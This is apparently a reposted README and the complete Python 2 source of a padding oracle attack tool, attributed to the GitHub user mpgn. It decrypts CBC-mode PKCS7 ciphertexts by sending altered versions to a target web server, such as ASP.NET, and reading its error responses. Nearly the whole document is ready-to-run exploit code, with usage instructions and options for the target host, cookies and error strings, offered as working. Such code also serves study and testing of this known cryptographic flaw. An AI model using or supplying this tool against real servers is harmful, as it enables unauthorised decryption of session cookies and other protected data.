An exploit for the Padding Oracle Attack. Tested against ASP.NET, works like a charm. The CBC mode must use PKCS7 for the padding block. This is an implementation of this great article Padding Oracle Attack. I advise you to read it if you want to understand the basic of the attack. This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES.
Usage:
git clone https://github.com/mpgn/Padding-oracle-attack && cd Padding-oracle-attack python exploit.py -h (for full print helper)
exploit.py Script:
#! /usr/bin/python ''' Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/ Author: mpgn <martial.puygrenier@gmail.com> Date: 2016 ''' import argparse import httplib, urllib import re import binascii import sys import logging import time from binascii import unhexlify, hexlify from itertools import cycle, izip #################################### # CUSTOM YOUR RESPONSE ORACLE HERE # #################################### ''' the function you want change to adapte the result to your problem ''' def test_validity(response,error): try: value = int(error) if int(response.status) == value: return 1 except ValueError: pass # it was a string, not an int. # oracle repsonse with data in the DOM data = response.read() if data.find(error) == -1: return 1 return 0 ################################ # CUSTOM YOUR ORACLE HTTP HERE # ################################ def call_oracle(host,cookie,url,post,method,up_cipher): if post: params = urllib.urlencode({post}) else: params = urllib.urlencode({}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie} conn = httplib.HTTPConnection(host) conn.request(method, url + up_cipher, params, headers) response = conn.getresponse() return conn, response # the exploit don't need to touch this part # split the cipher in len of size_block def split_len(seq, length): return [seq[i:i+length] for i in range(0, len(seq), length)] ''' create custom block for the byte we search''' def block_search_byte(size_block, i, pos, l): hex_char = hex(pos).split('0x')[1] return "00"*(size_block-(i+1)) + ("0" if len(hex_char)%2 != 0 else '') + hex_char + ''.join(l) ''' create custom block for the padding''' def block_padding(size_block, i): l = [] for t in range(0,i+1): l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1])) return "00"*(size_block-(i+1)) + ''.join(l) def hex_xor(s1,s2): return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2))))) def run(cipher,size_block,host,url,cookie,method,post,iv,error): found = False valide_value = [] result = [] len_block = size_block*2 cipher_block = split_len(cipher, len_block) if iv != '': cipher_block.insert(0,iv) if len(cipher_block) == 1 and iv == '': print "[-] Abort there is only one block but no IV" sys.exit() #for each cipher_block for block in reversed(range(1,len(cipher_block))): if len(cipher_block[block]) != len_block: print "[-] Abort length block doesn't match the size_block" break print "[+] Search value block : ", block #for each byte of the block for i in range(0,size_block): # test each byte max 255 for ct_pos in range(0,256): # 1 xor 1 = 0 or valide padding need to be checked if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[len(valide_value)-1],16) == ct_pos): bk = block_search_byte(size_block, i, ct_pos, valide_value) bp = cipher_block[block-1] bc = block_padding(size_block, i) if args.verbose == True: print "[+] Block M_Byte : %s"% bk print "[+] Block C_{i-1}: %s"% bp print "[+] Block Padding: %s"% bc tmp = hex_xor(bk,bp) cb = hex_xor(tmp,bc).upper() up_cipher = cb + cipher_block[block] print "[+] Test [Byte ",''.join('%02i'% ct_pos),"/256 - Block",block,"]: ", up_cipher if args.verbose == True: print '' #time.sleep(0.5) # we call the oracle, our god connection, response = call_oracle(host,cookie,url,post,method,up_cipher) if args.verbose == True: print "[+] HTTP ", response.status, response.reason if test_validity(response,error): found = True connection.close() # data analyse value = re.findall('..',bk) valide_value.insert(0,value[size_block-(i+1)]) print "[+] Found", i+1, "bytes :", ''.join(valide_value) print '' # change byte of the block #sys.exit() break if found == False: print "[-] Error decryption failed" sys.exit() found = False result.insert(0, ''.join(valide_value)) valide_value = [] print '' hex_r = ''.join(result) print "[+] Decrypted value (HEX):", hex_r.upper() padding = int(hex_r[len(hex_r)-2:len(hex_r)],16) print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex") if __name__ == '__main__': parser = argparse.ArgumentParser(description='Poc of BEAST attack') parser.add_argument('-c', "--cipher", required=True, help='cipher you want to decrypt') parser.add_argument('-l', '--length_block_cipher', required=True, type=int, help='lenght of a block cipher: 8,16') parser.add_argument("--host", required=True, help='url example: /page=') parser.add_argument('-u', "--urltarget", required=True, help='url example: /page=') parser.add_argument('--error', required=True, help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"') parser.add_argument('--iv', help='IV of the CBC cipher mode', default="") parser.add_argument('--cookie', help='Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7', default="") parser.add_argument('--method', help='Type methode like POST GET default GET', default="GET") parser.add_argument('--post', help="POST data example: 'user':'value', 'pass':'value'", default="") parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true") args = parser.parse_args() run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.iv, args.error)
Source :https://github.com/mpgn